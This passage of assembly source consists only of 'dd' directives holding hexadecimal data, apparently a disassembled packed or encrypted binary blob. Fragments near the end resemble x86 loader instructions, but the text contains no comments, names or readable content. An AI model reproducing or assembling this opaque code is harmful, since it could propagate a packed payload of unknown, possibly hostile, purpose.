45D72881h, 6AE7799Dh dd 3FE6B334h, 54787B70h, 0DA533601h, 5ECDA551h, 0AC601FD3h dd 0C6860F88h, 0E48C1EE1h, 686B24C0h, 4C0015F0h, 9ECEB7D5h dd 0CF7BF499h, 1C0F4916h, 2E8775ABh, 0E62AD6D3h, 6D0FAF42h dd 0FEC8B725h, 52DB5439h, 3396B71Ch, 7DA12E53h, 0D5A75CE1h dd 5C4909BEh, 0C56911A3h, 365BDC33h, 20AE11BDh, 0A75BC4FAh dd 0C6396E2Eh, 0A302C24Fh, 1F88385Ch, 0C81679E0h, 0DD73430Eh dd 165BBEh, 81802C00h, 0A05F460Ah, 0BC456529h, 0D7288145h dd 0F70A9C60h, 737A3480h, 9357CE33h, 0B478EF20h, 0D2960DF4h dd 0EAB32AD5h, 80EDC571h, 488019AEh, 0A18159D5h, 0DDB11FD3h dd 51FD3B1h, 1FD3C231h, 0D3C18559h, 0F10E991Fh, 286A038Ah dd 0C5E47AF6h, 1608h, 0B72ED3D9h, 0D64DB2F3h, 0F2699812h dd 0D847B2Eh, 2DA45D49h, 881E27E1h, 753E0279h, 495F239Ah dd 2A7D41B8h, 1C955ED5h, 0AE809870h, 80F32B19h, 870095A2h dd 0F0BBAADBh, 147B2F15h, 0F0376D9Fh, 0C14564FAh, 92000015h dd 0AC70E71Ah, 0CB8F06F9h, 0E7AB22DFh, 2C63DC2h, 9AE65DA4h dd 38C9DDE0h, 59B6FDC1h, 778A1EE2h, 946B3C00h, 2FDB541Dh dd 19AE8057h, 453FB2EAh, 570B9D62h, 28B82D50h, 2FCE43Ah dd 8525E55Eh, 38CA3570h, 36C8EC90h, 0D7647A05h, 0F0940482h dd 8D39C24Bh, 1FD2EDB5h, 20F89448h, 3C1FD2EEh, 5901936Eh dd 0E9BC6C20h, 0B8DC8416h, 251Fh, 8559AC00h, 991FD3A1h dd 0ED7AF10Eh, 0F688792Dh, 0BCAD284Eh, 0E908E4Dh, 0AE9C4EEAh dd 2ABC1F8Ch, 152B0Bh, 0BC7C9400h, 0BC9440ECh, 4F1FD3A1h dd 23D3F79Bh, 6CE97B84h, 7BB8FF36h, 5B55437h, 26CE60A1h dd 588AF02h dd 6243038Ch, 3F630B9Dh, 0F0446EA3h, 6D3BFB15h, 0B65A0294h dd 2A5FD83Fh, 426828B1h, 61852DBFh, 0F587CC5h, 0AB3DF11Ch dd 21F9A52Eh, 0B42C1158h, 7E2CDC00h, 875C0C83h, 9D2C1157h dd 0BC80F708h, 0D08416E9h, 0D1A955D5h, 642C1157h, 9A3B8AB0h dd 0AC80ACB7h, 77F27608h, 14EBBA67h, 48A6F39Dh, 0B6470356h dd 0D4000001h, 870095A2h, 0F095AEDBh, 0FE772B15h, 0BBA33FC8h dd 1F437E25h, 33CCD98Dh, 52ADF8BCh, 1DBCA3D9h, 6F22713Ah dd 7C3CB94Bh, 14B0D42Bh, 25F31540h, 0B4A43AC9h, 0F426707Eh dd 0E32E8A0h, 0FE36475Eh, 4AB5F079h, 0E1CFD324h, 0D9D01DBBh dd 10B49228h, 90053299h, 0AE28E17h, 9D25F2F7h, 0A638C9DDh dd 0BD365AFEh, 100A1011h, 6F01B51Ch, 9F16EBBBh, 7B2ACBDBh dd 5E095E84h, 7DDB7F2Dh, 0D5A747D9h, 5E2C11FEh, 94120FCFh dd 7334F46Dh, 2E52FA8Ch, 4DB2F3B7h, 34083EBBh, 6C3344D2h dd 0E9169141h, 6F9015C5h, 0DE59DDh, 0FE512258h, 0EFD7CDDDh dd 758A1BCBh, 2B0554FEh, 3FA80355h, 35000000h, 16946145h dd 916E3BEBh, 21B357FFh, 36C8396Dh, 7AA737B2h, 7C54002Ch dd 0F1FD3A1h, 7AB644Fh, 0B561EA63h, 1FD3A1DDh, 5796BC70h dd 9C1FE358h, 5802799Dh, 0F094DD01h, 0B8ACh, 95A23900h dd 16DB8700h, 8315F0B7h, 0B7764EFAh, 490925F2h, 0DD01A56Ah dd 3AC5E4A4h, 0C55F7EA8h, 527D521Bh, 0FB780AAEh, 0E3BE17C5h dd 0B1D56027h, 0E45BA401h, 3C6E8520h, 1FA821C5h, 0F3449B73h dd 567A2E25h, 6A9510C4h, 8D8231F1h, 0D853D769h, 1DC95206h dd 25F34445h, 357424D8h, 0AFF6A6CAh, 6A2FD950h, 830974E1h dd 47h, 7A91A210h, 0B6B40FB8h, 0A720C42Eh, 0D33393FBh dd 0E9D0061Fh, 7B477104h, 0AF4FE185h, 1FD367DBh, 324C9211h dd 67138C01h, 1FD368FFh, 0CB367232h, 41BA6EA7h, 0DDCD2681h dd 0E55C8024h, 0CB6h, 3E692900h, 0DA3A9DC1h, 72h, 0EABC7C63h dd 0B9DD8517h, 0CE60A109h, 0FB748B1Ah, 12BE6C3Bh, 1FD3A13Ah dd 0E37519CDh, 13A0173Bh, 0A206DE8Ah, 0E5991FD3h, 6B9411C1h dd 0AB482D9h, 0D3A1865Eh, 0C165191Fh, 0A8FFBF48h, 0A1E3BB57h dd 0A7FF1FD3h, 0E720C85Ah, 0DD7D0F33h, 1FD3A20Eh, 0E1738E1Ch dd 0F1837C2Dh, 14946D3Dh, 8AE84599h, 1168D30Bh, 0DCF094BCh dd 53778A1Ch, 0CFBBAh, 94A24700h, 51FD86FFh, 1FD3A179h dd 0A234580Ch, 7C97B702h, 4E900F91h, 0C073ACEDh, 3B4186h dd 0A2CE0000h, 0FD86FF94h, 2B886D3Dh, 6AE40E4h, 0A16E46E2h dd 4D011FD3h, 6FE51BBBh, 0D453B0A7h, 8F68310Ah, 6FA5A618h dd 0D5AFF2ABh, 0BA923E00h, 4DC94769h, 38D1F599h, 2D5h dd 0FF94A2C5h, 7951FD86h, 0CC1FD3A1h, 0D3A14820h, 0EE27DB1Fh dd 87B3163Ah, 9D624520h, 47F37C3Ah, 1FD3A16Fh, 98674202h dd 0ABA5E06h, 0A93C609Fh, 0B06A5F42h, 6CC3F394h, 50000000h dd 9DCE467Ch, 721074AAh, 563BFB4Eh, 0D0A854DDh, 631FD338h dd 7C288BAFh, 8C7533F3h, 0A05F46FAh, 673CD8FCh, 0F41FD3A1h dd 0FE907F34h, 0FF02A656h, 0F37CF85Bh, 0FC8E7333h, 572FDB54h dd 0EA1FD3A1h, 7CAF1236h, 0A16F47F3h, 4E021FD3h, 0D1307A2Ah dd 0E81B9858h, 0B9D41C0h, 76DC3F63h, 957A39F9h, 1A3EC3E5h dd 4ADAB7h, 7C630000h, 0E894E9BCh, 0BC6068C1h, 0BC64F69Ah dd 0A0F14598h, 0BD426727h, 0D07C3699h, 1FD3A1FBh, 3B13BF48h dd 0CE1FD3A1h, 37EFF61Ah, 0DA467CD4h, 0D0C09E31h, 0D649C2E6h dd 0DAC5467Ch, 23902DB1h, 40E87A87h, 0E2C8789Ch, 0F76BC1Fh dd 0E9B17059h, 0F4386EFDh, 0F08C7334h, 7E09B218h, 226146BEh dd 0E31C3A1Eh, 320AB62Fh, 0C57E0A26h, 0BEF46D11h, 5B4EC01Ch dd 446A12A4h, 0E40828EAh, 1FEA96Dh, 3AC7DF93h, 0C51994CCh dd 3BB44B5Ch, 41D32C7Bh, 2EE27599h, 4D0D8679h, 6216A859h dd 8129BB46h, 3D4BB9DDh, 924CCBFBh, 3A390C6h, 143BE427h dd 986740F0h, 7380E91Fh, 0CBAAADBAh, 476014A7h, 10964AB8h dd 9B624F9h, 0F47BB17Eh, 5B1D722Eh, 0BDE2BD59h, 35D90A9Bh dd 366F2391h, 228337C9h, 4CC74BDDh, 0E8198F92h, 49951044h dd 9D30CFD8h, 0CB44BDE9h, 8FBE9642h, 9D517E0Ah, 56D9E779h dd 0F829B530h, 51DA53AEh, 4EEA1791h, 7E0A8F76h, 0BA315509h dd 0E04EB1F6h, 0BA8F7A2Ch, 477E0A8Fh, 63E41A93h, 0DCE50F84h dd 0BF8A620Eh, 691D7E09h, 3A6A9FC5h, 1A971010h, 0D1D488F6h dd 731F9C2Eh, 7E0A799Bh, 0DECA7A2Eh, 0C96D9217h, 7569F837h dd 548A09B8h, 9225DACDh, 0B561C9DEh, 7E0A79DDh, 0AA18BC70h dd 63CEF72Dh, 0AA95A88Ch, 45B77C86h, 4EB1F8B8h, 0F22FAF2Ah dd 3B74AB5h, 39ED5BA4h, 7B24126Dh, 36AD34B0h, 43702492h dd 1F863ACCh, 4FCA4EE0h, 0F16A9E8Fh, 5B33DF68h, 0EE7E0A14h dd 14C69E3Ah, 99597E0Ah, 9C4CF011h, 0BE66F817h, 62BF1F9Ah dd 0DCEC3845h, 0BE523C6Ch, 4520871Ah, 873A9D62h, 0FC91A220h dd 5FFB6299h, 0F394B06Ah, 29C3h, 91A25000h, 0D07C99FCh dd 1FD3A1FBh, 0D25BD488h, 0D26EA112h, 1FD3A1FAh, 52B5D98Dh dd 6045097Ch, 0F763C9Fh, 28DAh, 91A26300h, 0F37C99FCh dd 0D3A16F47h, 2A4E021Fh, 0A23005B1h, 37EF1FD3h, 45097CD4h dd 0E1129360h, 1A93BC4h, 7656B95Dh, 0B10B590Fh, 8231FD3h dd 0FFFFFCD2h, 0A1855991h, 40F61FD3h, 9A10D44Bh, 5D35D567h dd 9B1FD3A1h, 4B5FC21Ch, 8B43DB6h, 1FD3A130h, 31218DC3h dd 5F335DA1h, 5C2097BBh, 0D83FB649h, 1F9C2E5Bh, 95B9465Fh dd 898358F9h, 8559D8D9h, 3EA6E3B6h, 3D6A2A4Dh, 3D059EC2h dd 92000002h, 0D3A18459h, 7840F71Fh, 0D3A1F4CCh, 6B96101Fh dd 64587E32h, 0DB62F4B8h, 0CA53CC70h, 0BBF83F94h, 84A82948h dd 0F0AF2FE8h, 9710C415h, 0AF8A620Eh, 691D25F2h, 0AF6C44F0h dd 4BFF25F2h, 0BEECB027h, 7434B143h, 9139CB36h, 17E8BD6Dh dd 60480885h, 0D8CD7DA1h, 0D1758A1Bh, 2E4FE83Fh, 68E1857Ch dd 0DE02FDA8h, 9E74B965h, 0ABE11C0Fh, 8E47508Bh, 91CAEE17h dd 6D3376DDh, 0BC52FA16h, 0E7B9Dh, 0A1604C00h, 0C03F662Ah dd 0DC258549h, 0F708A165h, 17EABC80h, 939A54A0h, 0B377EE13h dd 0D4980F00h, 0F2B62DD4h, 0AD34AB5h, 7A0DE591h, 68A019AEh dd 9D6245F5h, 3983B40Bh, 0D3A1B58Dh, 0F094481Fh, 0BC27CB77h dd 1ED215F6h, 3CC5E5A5h, 58A901C5h, 6A9512C6h, 0D3B681D8h dd 0F40B9A5Ah, 9F0ABA62h, 226CE60h, 0CB770089h, 25F8BCF3h dd 12AED286h, 1C15C62Dh, 0D4BF26DAh, 91FA6C51h, 0DFADCFBh dd 0E1CB0000h, 0C0E5A920h, 0A604C83Fh, 8920E45Bh, 6B3BFF76h dd 19D31F96h, 0F86F9214h, 19907F34h, 37AE5355h, 54CB3473h dd 8E66128Bh, 2119AE78h, 624576E9h, 83B40B9Dh, 94E9950Eh dd 0E115F0B0h, 3C6B8821h, 0E58D1FC3h, 5BD488C1h, 64F60B9Bh dd 4051A43Ah, 0E3874D65h, 238448BFh, 8327DAD0h, 0A35E4A0Ah dd 96A1087Fh, 63CE7AF3h, 0E01C1690h, 6A2AB32Ch, 8830C23Dh dd 189014ECh, 0CFF3A72Ch, 6B149656h, 0F21FFE23h, 46B9EEE4h dd 0C4680CB4h, 0E021894Dh, 0F20D9A4Eh, 0AE5AE360h, 2C17C9D6h dd 3E91B569h, 0B39012F9h, 93969D1Ch, 0B55DEF20h, 48F46D11h dd 22355363h, 80F55C10h, 0BDE44BC4h, 0D360827h, 0A5070000h dd 8421E55Ch, 6A40047Bh, 4D5C2097h, 2F773BB2h, 550F5BD2h dd 34AB5650h, 55CC4370h, 73EA1791h, 9007F8AFh, 0CAA24EC7h dd 5D19AE77h dd 6245B225h, 83B40B9Dh, 0D985A502h, 1FD3A201h, 983CE094h dd 0AFCE731Fh, 457B15F0h, 0A9E7900Bh, 79F4F68h, 1BDF56FAh dd 7F8DF38Ah, 0FC8F80C9h, 9454E158h, 1CCCF01Fh, 0C34C678Eh dd 6CE58931h, 7204FBACh, 0B82FA6CAh, 870095A2h, 0FA1EE3C7h dd 0BAE8D581h, 0B16515F0h, 0BAAB7F1Fh, 921125F2h, 5BAAEF4Ch dd 70430974h, 0D0000000h, 0D9F6045h, 3AB34C59h, 8973E904h dd 0C7E2840Eh, 5AFEA638h, 0B9F0A436h, 0A500B446h, 0BB7CE35Ah dd 0A8B15DD6h, 1D15EFEBh, 0FDC50269h, 2AC0F036h, 0C670Bh dd 8D743800h, 0AC535216h, 0C8397135h, 0E31C8D51h, 3FEA86Ch dd 7F86408Ch, 9F63DA27h, 0C084FB14h, 0DEA219E8h, 0F6BF36C9h dd 76F9D17Dh, 548C19AEh, 9F6045E1h, 58F928h, 45820000h dd 0F0269F60h, 8BDAEB9Eh, 3A792983h, 0C81FB1D5h, 0F5A11A6Fh dd 15EFFDB0h, 7F42A95Dh, 0F6F036EFh, 0C064160h, 0D5D70000h dd 0B4F1B52Ch, 9A10D44Bh, 7D2CF067h, 5F470B82h, 25DF2BA2h dd 47B8620h, 259C7340h, 43BA4761h, 60D7287Fh, 9A721E97h dd 2D19AE76h, 624582F5h, 43E71891h, 55AAFDB1h, 0D70792C3h dd 94B81564h, 286B8F0h, 0EB450000h, 9FE39BDh, 0FDA0B9DAh dd 644FFFB8h, 0E28E07ABh, 15EF8829h, 8910ABEh, 0C8FBD37Fh dd 0DA8E25F1h, 0F1C8663Eh, 2145F925h, 32BBEE8Eh, 92E1169h dd 125F0B84h, 8F0FA65Dh, 45F249DBh, 8E17D750h, 7D2BDF71h dd 0A64AF284h, 2E52BDF6h, 3B6C2CB5h, 0A104A0C4h, 0E15CAD6h dd 0D3CA47D8h, 0FD218693h, 0A7A78EC4h, 0E3A4D523h, 0A106C63Fh dd 8423E75Eh, 8043147Bh, 28BEF3DFh, 0B3F09h, 659C1000h dd 847B2AEEh, 0A061490Dh, 0BB446529h, 0DB268044h, 575E1864h dd 773BB24Fh, 985CD33Ch, 0B67AF110h, 0CE970EF1h, 75D1A955h dd 2C6419AEh, 9F6045B9h, 0BE416626h, 40649B0Eh, 66FB31AEh dd 0CC9404F8h, 48EF4266h, 7320CC45h, 0F015F5CAh, 0DC8C8330h dd 1A9337CAh, 0FEAA595Ah, 25C97103h, 0C4C9EAAEh, 0C18D5BEDh dd 0A61FC320h, 0BB99711Dh, 782C25F7h, 38053C52h, 7CA01A5Ah dd 0F1A493EAh, 0CA53CC78h, 34E81C14h, 4BB8FBBBh, 6810A25Fh dd 0C96B43EFh, 4AFE2C16h, 69F72DA6h, 70CEED17h, 11E9950Eh dd 0A42C1766h, 9155CCF0h, 0A75BED22h, 4DB2F300h, 63F50A9Dh dd 0F5B017BBh, 50FA6BB6h, 0A7A9BBAh, 614B0000h, 406529A0h dd 268448BFh, 9A064DBh, 0EBBB7FF6h, 99539F16h, 78EF1294h dd 9910FFB4h, 0B72ED3D5h, 0D44BB4F3h, 0EE6920Bh, 0A119AE76h dd 23C3F669h, 1FD3A143h, 38CA376Fh, 49DB2684h, 0CA637B0Ah dd 4E21BD3Ch, 0D44D40F7h, 0F0A5AF28h, 0AF0E4415h, 5EB72BF5h dd 6A3AEC33h, 7E22B8A4h, 4A161DAh, 9E5ED7FBh, 0F17EF50Ch dd 2A807531h, 0F99D45D7h, 0BB582D5h, 0F2A5875Fh, 0FD02A325h dd 0D68AC36Bh, 120DB932h, 6F1C140Eh, 0E8651239h, 0BDE19EDBh dd 0CE57D084h, 13C14A22h, 0B029DD2Ch, 13C22C04h, 0E70BBF2Ch dd 6F9AE6Eh, 23DCCB8Fh, 685797BCh, 9DBC52FAh, 9C0h, 6FE61B91h dd 8E05FAABh, 0AA21E0CAh, 0C53CC3E6h, 0E55CA501h, 0D0D6DF99h dd 0BDF6BA31h, 9117DB52h, 7235F970h, 0D44D168Dh, 0AE745028h dd 38ABE319h, 0E85467Ch, 9E045E71h, 4A0ADE7Ah, 891E1FD3h dd 9F98FF76h, 0B35FCBDEh, 1FD349DBh, 7216BA6Eh, 387EC3F9h dd 2B25FDA9h, 4B81FD3h, 0DAAEFDEh, 27E770E9h, 49F1838Ch dd 0DC458925h, 3CF015F0h, 5CA503C3h, 0C92BADE3h, 56CF7A7h dd 2A66AE1h, 394E6DFFh, 0D7000009h, 870095A2h, 0F0BF22DBh dd 7103B715h, 0F2BEFDD1h, 0FAE46325h, 5129D55Eh, 0E425F2BEh dd 0D97D8424h, 5F5A1FB5h, 0AC730974h, 1, 6F47F37Ch, 21FD3A1h dd 2E7A2A4Eh, 8EC441D3h, 64E4CB60h, 0B27096A0h, 0A862B698h dd 0FA45478h, 0EDBA6E00h, 0CFD99912h, 0C87C0E32h, 1DAA21E0h dd 0F10E894h, 6DA31FD3h, 88E52365h, 64882CA5h, 0B201F4B4h dd 0D027B95Dh, 25AE2764h, 0FBAF4465h, 0A23E6206h, 1FD33912h dd 0BD4FE195h, 2781A03Eh, 99F63DAh, 0FAC666F8h, 201FD339h dd 966E1AA3h, 291FD339h, 8D65175h, 0FB728F19h, 72EBA094h dd 0E80CF3B2h, 8226E66Fh, 38CA3773h, 0B25AEC90h, 3A12F28Eh dd 2CB51FD3h, 0D339A880h, 387B3B1Fh, 0FD8F33D7h, 2CA56A49h dd 3AC7E3A3h, 8C6400A8h, 1F1FD339h, 13B7485Fh, 0FFB478EFh dd 0CD5FA204h, 3BEF8125h, 6F01936Ch, 8033EEF0h, 39360EBAh dd 15C91FD3h, 0D6C2F871h, 197A29Dh, 460A81A5h, 0EE11966Dh dd 53BB84Ah, 5FFBD27Fh, 26799DD0h, 57037C11h, 15EFD5EAh dd 43AB367h, 1088A9E8h, 4FC6EA28h, 5BA602C2h, 0C8A04CC9h dd 5B25F217h, 2FDF03A7h, 320AB684h, 0C525F217h, 34F46D11h dd 54FC8E71h, 0ED479E30h, 9F7B27A0h, 3A25F217h, 0E362F486h dd 768D26FBh, 0B029CD34h, 0BE436727h, 0F2174A22h, 529DD25h dd 26E9CA8Eh, 15FA3D94h, 0A3579DDBh, 1C953989h, 0F99EB70h dd 0D90F981Ch, 0CED2F148h, 5830CC30h, 0FE2C1131h, 89C42D8h dd 0BBF12A86h, 0ECDEA000h, 0B6660AE9h, 0D37B0DF4h, 0BFF4B82Fh dd 561FADCEh, 1182D2AAh, 8BB1652Ch, 9ADE5AFh, 0BACF0592h dd 0D249C089h, 0BE5A32DEh, 39ED2C10h, 0E7C17195h, 0A22CA31Ah dd 0FE870095h, 0A1F1C975h, 0D0841FD3h, 0A7DB10ACh, 0DF6815F0h dd 0DC78891Fh, 25F2A704h, 0AD3FE397h, 0DA53ACF9h, 698CC9A4h dd 385CC3A0h, 0F37C4AC1h, 0D3A16F47h, 2A4E021Fh, 0B8315CD7h dd 0A1AB832Fh, 8A3E1FD3h, 2157D466h, 9C3387B7h, 1CB8DCC1h dd 1FD31448h, 0EEFB31AEh, 5EB102F6h, 40FE24CCh, 782A66Ah dd 0F2C181D7h, 0C5699611h, 78C8A04Ch, 0A75B1FD3h, 95ACED83h dd 2741F094h, 0B8000000h, 84AB832Fh, 8A3E1FD3h, 60450366h dd 956D0D9Fh, 0D31FD3A1h, 0E978A54h, 36CA7AF1h, 561FD383h dd 0FFFF893Bh, 0BC7CC4FFh, 0BF9743F7h, 521FD3A1h, 0C068FA9Eh dd 0D4669910h, 4F58082Ch, 0E90137B0h, 0CD7691C4h, 7CEF5276h dd 0F115ECBCh, 467CF85Fh, 9AD11925h, 0B2E1A02Fh, 0C844E50Bh dd 7B53FF78h, 0E1FD312h, 50E3365Ah, 7B3BC43Dh, 5D35D12Eh dd 0F01FD312h, 7CB5183Ch, 8214EBBCh, 0C83FB6DAh, 94B06A5Fh dd 0AE5AE3F3h, 22D3A1D6h, 0F891B569h, 56h, 0FC91A285h dd 33F37C99h, 51F98B74h, 66F809A1h, 26FE9ABEh, 0B91FD3A2h dd 0F37CA205h, 0D3A16F47h, 2A4E021Fh, 60453EB1h, 0F9763C9Fh dd 3E05B0C3h, 94409BD7h, 1FD2BEBCh, 0D3F79B4Fh, 0EABC7C70h dd 82ACF095h, 7C2073D2h, 8E7136EAh, 8CB054FCh, 4071h, 91A2FA00h dd 0F37C99FCh, 0D3A16F47h, 2A4E021Fh, 0A22D05B1h, 0B8F21FD3h dd 26D21355h, 1FD3F74Eh, 4D072DE1h, 8632AB0Ch, 1FD492AEh dd 70E98D41h, 1AEA5E3Ah, 0F115F717h, 45097C8Eh, 763C9F60h dd 9C65450Fh, 0B9466323h, 8B630395h, 0A71FD3A1h, 0B76BFD02h dd 0EA7C0EF3h, 2CBA736Bh, 0BAF031ADh, 3A20D047h, 421FD3AFh dd 629F09C9h, 0F29B233Eh, 0D696FFFFh, 0A70A2ED1h, 289F6045h dd 923E76C1h, 1FD3A1BAh, 7CF5994Dh, 0F0B107D0h, 4FC87C15h dd 0D688D19h, 80A691A6h, 0E4283140h, 60F216F2h, 0F2DDECC0h dd 0BD35225h, 747C6930h, 0E8409h, 3BFB0000h, 5D059778h dd 1DAD639h, 63000000h, 14EBBC7Ch, 6CC55882h, 0C16E3355h dd 91A6F91Dh, 3AFA83FCh, 0C4E4946Bh, 0DF03AB3Dh, 0F087FA43h dd 386F2F15h, 698D35C7h, 36EA7C30h, 7885BB6Fh dd 69A4FA84h, 54CEA642h, 0AD6125F2h, 0D6D09009h, 6161D9A9h dd 1A52407h, 16EBBB6Fh, 1BE6C272h, 0BDF380F7h, 40B1C331h dd 0CADC8C15h, 0D9FDA537h, 0F279B03Dh, 0FF2B625h, 21D4D498h dd 0C43B6E87h, 42E68A32h, 0BC9440C9h, 4F25F279h, 0D7E5779Bh dd 19D9565Ah, 3AE2748Dh, 0DE439B16h, 0FCC037CAh, 32E654ABh dd 0E41C8A75h, 0FBAC7569h, 2B51B0F8h, 2A3C14BEh, 11A448D5h dd 0B01A5FAAh, 0D1B3F114h, 40000000h, 9AFD92A2h, 18F7BC7Ch dd 0FACF7BF4h, 0B91FD3A1h, 97C9E01h, 4506607Ah, 633A9D62h dd 0EABC7CFCh, 93A0F317h, 77E93F6h, 12EDBC7Ch, 1EB4D880h dd 0F394B02Bh, 4482h, 91A20F00h, 0F37C99FCh, 0D3A16F47h dd 2A4E021Fh, 0A22D05B1h, 0F7801FD3h, 0D3A2734Bh, 6246061Fh dd 0C1650D9Fh, 4DB0649Dh, 6045097Ch, 5BED1293h, 76AC0FB3h dd 58DA0Fh, 0C44D0000h, 0D3A14018h, 0FB1FD31Fh, 0FC91A298h dd 0BDF37C99h, 0DC07E36Bh, 7F659A4Bh, 67D25D83h, 4A7951FDh dd 580C1FD3h, 1CF490B4h, 6F1FD34Bh, 7608F9AFh, 4A754DF9h dd 54081FD3h, 87C68AB0h, 7CF242h, 0A41DD5DCh, 5F976F1Bh dd 762A1FD3h, 97CEF52h, 3C9F6045h, 26DA0F76h, 63FFFFFFh dd 249D6245h, 39E54564h, 1FD3A161h, 239C40F4h, 0D3A19F77h dd 5A7E321Fh, 6C9314C8h, 0E4A98EF5h, 0AD59E26Bh, 1FD3A1D5h dd 0F490B468h, 15F0A9DFh, 3FEAC6Ch, 592DCD5Fh, 6D25F2A8h dd 7E32C43Dh, 7F28D827h, 6B3AEE80h, 1F5A0294h, 81DF4E90h dd 1A5FDC02h, 0B3097441h, 48h, 0C33E6A2Ah, 0BC7C3C9Fh dd 9DF014EBh, 0ACD0759Ah, 6F3941A2h, 1A652CBh, 0AE15F001h dd 2BEB68FAh, 49F1837Ch, 0D1F51A99h, 0F2406135h, 9648C725h dd 75DDD4A5h, 0D0901909h, 0B58D29D8h, 4825F24Ch, 0D9D77094h dd 64000000h, 0B9D6245h, 20B24F57h, 32C43B6Ch, 5FD6297Eh dd 0D3A60FAFh, 936C3B1Fh, 0B04F581Ch, 0C62F7737h, 597D21E0h dd 1D8A4AC7h, 84A850E2h, 0A830631h, 0F0BA355Eh, 7FF6AA15h dd 34E069F2h, 25F2B85Ch, 0C79F3BEFh, 5A25F2B8h, 0A9812DA6h dd 3C25F2B8h, 26116488h, 2B61EA63h, 97644DE6h, 6501255Ah dd 1C14ED8Ah, 0A46CB1E7h, 81A07BEEh, 0F770245Dh, 7FAAE6Eh dd 8E7333E3h, 991ADF15h, 175F1520h, 0EEB87CF3h, 0E88DAC13h dd 0A238FA69h, 27F83h, 0A55C5000h, 0C43B6A2Eh, 0E021894Dh dd 0FB04A569h, 1BE6C084h, 979E58A4h, 0B77BF20Fh, 0D89C13FCh dd 0F6BA31D0h, 0ED74EB1h, 6E11E995h, 6CA419AEh, 1E6145F9h dd 0F5AB0B0Fh, 0D84FF3DDh, 0F56C9314h, 100A868h, 40A3C76Fh dd 0B5F495A2h, 812DA64Ah, 15F080DCh, 0A343D589h, 25F2C0CFh dd 832FB835h, 25F2C0ABh, 0EB668A3Eh, 5D7148F3h, 0F19C0974h dd 29000000h, 0B9D6245h, 20B24F57h, 0D3A5E080h, 8F9B0C1Fh dd 0D3A60BE3h, 46EA9E1Fh, 238242CFh, 29A24ADCh, 0D3A5A57Dh dd 6084381Fh, 7608F7B0h, 0FC75181Fh, 0FDF6B373h, 1CC456ABh dd 1A3EE678h, 0F0BA557Eh, 9F16CA15h, 118AFF38h, 14272565h dd 2992C81Ch, 2F86A5B9h, 0D99912B6h, 981135DAh, 0BA33CED8h dd 13B66784h, 4DD7645Bh, 43254BE0h, 0D64D71DBh, 66D9412h dd 0FA6813CDh, 8DD3F288h, 5E000001h, 783CB34Eh, 975BD22Dh dd 0B377EE13h, 0CE9209F6h, 66B229D8h, 4FDA9ACh, 25EAC98Dh dd 43BEEAAEh, 609F08CCh, 0FBA720E9h, 19AE6D23h, 450B7EB6h dd 471FCB61h, 0ED1FD3A1h, 0A85EAC1Ch, 55154E18h, 910AAE53h dd 0D3040DE5h, 48ECA01Fh, 0FBB44D1h, 1FD30337h, 42F216CAh dd 8CEF1865h, 0A93BC4E1h, 0EB74DB01h, 0D81BF39Fh, 0FAAE1FD2h dd 0C43BB256h, 17EABC7Ch, 79705B85h, 0B7F231EEh, 683FEF13h dd 6EE7288Bh, 0D2DEEAC2h, 25C97D1Fh, 5D561693h, 0C9DE8EB2h dd 0DF58BF36h, 0C8531AAh, 0A115EFE3h, 0F3B474EDh, 0D6D1950Ch dd 0F7409729h, 3DE12086h, 0FA3318C4h, 2CE01C14h, 6B2E40C5h dd 88A73DFAh, 0C8h, 77EE1399h, 960DF2B3h, 0B229D8D2h, 0CD44BBEEh dd 0ED649D09h, 0C8DEE7A1h, 0B5FEC239h, 891FE35Ah, 6A3D0178h dd 0DC551E95h, 0AE6B5830h, 40B3EB19h, 6F47F37Ch, 21FD3A1h dd 60D72A4Eh, 0F52BB42Dh, 7B20FA52h, 0D4D181F2h, 0CDF1992Bh dd 0F5F8B431h, 0B9D5115h, 36AF5057h, 0F82901ADh, 624525F7h dd 8CB0649Dh, 0A9565115h, 7FEC7717h, 0D9C29F6h, 0A85750D1h dd 0C53A6D31h, 0D52A7F33h, 7434B143h, 1BE6C033h, 0AB3DE189h dd 0AF605303h, 8ACE108Bh, 0A34FDBCAh, 41F87FCBh, 0E206AA5Eh dd 138A7532h, 2EA7584Fh, 8021F9A5h, 0C87441F8h, 41F87FF0h dd 0E296CF83h, 0F6887732h, 79982A4Eh, 8, 0EDBC7C02h, 39A0EE12h dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 58786886h dd 14890000h, 81E28924h, 4C2h, 4EA8300h, 5C241487h, 162C68h dd 24348900h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 0B850240Ch, 51D8091Eh, 8158C689h, 0FD122EF6h, 5D806857h dd 24890000h, 24048124h, 4, 8BA5259h, 1000000h, 8B3289CAh dd 0C4812414h, 4, 592434FFh, 8B04C483h, 89512434h, 4C181E1h dd 83000000h, 0C8704C1h, 63E95C24h, 7BFFFA45h, 0E8ACA4D3h dd 0B84E84E9h, 6253799h, 0C650C503h, 1F202585h, 25684706h dd 0FFCF3817h, 1F20D9B5h, 4D858D06h, 0FF061F39h, 8DD88BD0h dd 1F036585h, 4685006h, 0FF000001h, 2585C6D3h, 53061F20h dd 7F8BF68h, 0D9B5FF83h, 8D061F20h, 1F394D85h, 89D0FF06h dd 25191185h, 0F1BD8306h, 61F20h, 0B840Fh, 9D8B0000h, 61F2101h dd 5E9h, 0BB00h, 680000h, 8D000001h, 251915B5h, 0FF535606h dd 1F002195h, 15B58D06h, 3062519h, 1E9F0h, 804E0000h, 840F5C3Eh dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 1915858Dh, 0FF500625h dd 25191195h, 0E0FF5806h, 318F9338h, 7EB12ECFh, 3DE25C1Ah dd 13E8h, 5939FB00h, 75E2D203h, 0FA23D5F9h, 80491A83h dd 24384504h, 28896BBh, 0C0815802h, 6522h, 6F1BC681h, 0B6867ABh dd 66000019h, 5A9BE1BBh, 88BFE8Bh, 14E9h, 2AD32100h, 2A074A83h dd 0BE09ABAFh, 0EE917488h, 45236EF5h, 46E9816Dh, 51715DF8h dd 7E8h, 0FA95C00h, 17321BFh, 815F5BF8h, 2087CCF1h, 13E945h dd 0A33B0000h, 20698E36h, 11A38CC1h, 487115B1h, 0EB8C09B9h dd 0C1C1819Dh, 0F78BCDCh, 889D9B7h, 8153F860h, 672471D2h dd 81615A5Dh, 0C4928DE8h, 0CF81572Ah, 23FE98E3h, 89C0815Bh dd 0F2AC492h, 584h, 8505BF00h, 0EA836BA4h, 0F850F01h, 66000000h dd 34E9F38Bh, 5D000000h, 628DB270h, 